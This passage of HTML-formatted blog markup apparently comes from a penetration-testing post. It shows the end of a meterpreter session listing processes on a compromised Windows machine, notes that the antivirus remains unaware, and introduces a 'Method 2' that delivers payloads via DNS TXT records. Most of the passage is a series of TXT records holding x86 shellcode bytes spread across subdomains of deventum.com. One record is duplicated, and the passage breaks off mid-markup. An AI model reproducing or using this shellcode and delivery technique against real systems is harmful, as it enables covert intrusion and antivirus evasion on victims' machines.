&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum46&quot;&gt;  46:&lt;/span&gt;  380   explorer.exe                  x86   1        Ghost\Dinos  C:\Windows\Explorer.EXE&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum47&quot;&gt;  47:&lt;/span&gt;  432   csrss.exe                                                 &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum48&quot;&gt;  48:&lt;/span&gt;  440   wininit.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum49&quot;&gt;  49:&lt;/span&gt;  492   winlogon.exe                                              &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum50&quot;&gt;  50:&lt;/span&gt;  540   services.exe                                              &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum51&quot;&gt;  51:&lt;/span&gt;  548   lsass.exe                                                 &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum52&quot;&gt;  52:&lt;/span&gt;  560   lsm.exe                                                   &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum53&quot;&gt;  53:&lt;/span&gt;  656   svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum54&quot;&gt;  54:&lt;/span&gt;  720   nvvsvc.exe                                                &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum55&quot;&gt;  55:&lt;/span&gt;  760   svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum56&quot;&gt;  56:&lt;/span&gt;  844   MsMpEng.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum57&quot;&gt;  57:&lt;/span&gt;  924   svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum58&quot;&gt;  58:&lt;/span&gt;  964   svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum59&quot;&gt;  59:&lt;/span&gt;  1000  svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum60&quot;&gt;  60:&lt;/span&gt;  1152  svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum61&quot;&gt;  61:&lt;/span&gt;  1196  conhost.exe                   x86   1        Ghost\Dinos  C:\Windows\system32\conhost.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum62&quot;&gt;  62:&lt;/span&gt;  1284  plugin-container.exe          x86   1        Ghost\Dinos  C:\Program Files\Mozilla Firefox\plugin-container.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum63&quot;&gt;  63:&lt;/span&gt;  1312  NvXDSync.exe                                              &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum64&quot;&gt;  64:&lt;/span&gt;  1324  nvvsvc.exe                                                &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum65&quot;&gt;  65:&lt;/span&gt;  1364  SecureCRT.exe                 x86   1        Ghost\Dinos  C:\Program Files\VanDyke Software\SecureCRT\SecureCRT.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum66&quot;&gt;  66:&lt;/span&gt;  1448  chrome.exe                    x86   1        Ghost\Dinos  C:\Users\Dinos\AppData\Local\Google\Chrome\Application\chrome.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum67&quot;&gt;  67:&lt;/span&gt;  1492  SR_Watchdog.exe                                           &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum68&quot;&gt;  68:&lt;/span&gt;  1528  SearchIndexer.exe                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum69&quot;&gt;  69:&lt;/span&gt;  1560  svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum70&quot;&gt;  70:&lt;/span&gt;  1776  spoolsv.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum71&quot;&gt;  71:&lt;/span&gt;  1888  svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum72&quot;&gt;  72:&lt;/span&gt;  1964  taskhost.exe                  x86   1        Ghost\Dinos  C:\Windows\system32\taskhost.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum73&quot;&gt;  73:&lt;/span&gt;  2032  WVSScheduler.exe                                          &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum74&quot;&gt;  74:&lt;/span&gt;  2172  armsvc.exe                                                &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum75&quot;&gt;  75:&lt;/span&gt;  2196  AppleMobileDeviceService.exe                              &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum76&quot;&gt;  76:&lt;/span&gt;  2272  mDNSResponder.exe                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum77&quot;&gt;  77:&lt;/span&gt;  2304  svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum78&quot;&gt;  78:&lt;/span&gt;  2364  hamachi-2.exe                                             &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum79&quot;&gt;  79:&lt;/span&gt;  2400  vmware-tray.exe               x86   1        Ghost\Dinos  C:\Program Files\VMware\VMware Workstation\vmware-tray.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum80&quot;&gt;  80:&lt;/span&gt;  2420  svchost.exe                                               &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum81&quot;&gt;  81:&lt;/span&gt;  2444  msseces.exe                   x86   1        Ghost\Dinos  C:\Program Files\Microsoft Security Client\msseces.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum82&quot;&gt;  82:&lt;/span&gt;  2460  IMEDICTUPDATE.EXE                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum83&quot;&gt;  83:&lt;/span&gt;  &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #800000&quot;&gt;snip&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum84&quot;&gt;  84:&lt;/span&gt; meterpreter &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;And we have our poor initial shell, upgraded with cool meterpreter features, whilst our antivirus is still operational and not aware of the situation. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Method 2 do it in style. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Few weeks back I saw an excellent method from &lt;a href=&quot;https://github.com/corelanc0d3r&quot;&gt;corelanc0d3r&lt;/a&gt; ( &lt;a title=&quot;https://github.com/rapid7/metasploit-framework/pull/173&quot; href=&quot;https://github.com/rapid7/metasploit-framework/pull/173&quot;&gt;https://github.com/rapid7/metasploit-framework/pull/173&lt;/a&gt; ) using TXT DNS records for payload delivery. This gave me an idea to create the same method with powershell, using raw C format also in the TXT records. With the same payload, stage 1 as above I created the following records:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; a.deventum.com.          IN TXT  &quot;0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; b.deventum.com.          IN TXT  &quot;,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; c.deventum.com.          IN TXT  &quot;,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; d.deventum.com.          IN TXT  &quot;,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; e.deventum.com.          IN TXT  &quot;,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; e.deventum.com.          IN TXT  &quot;,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; 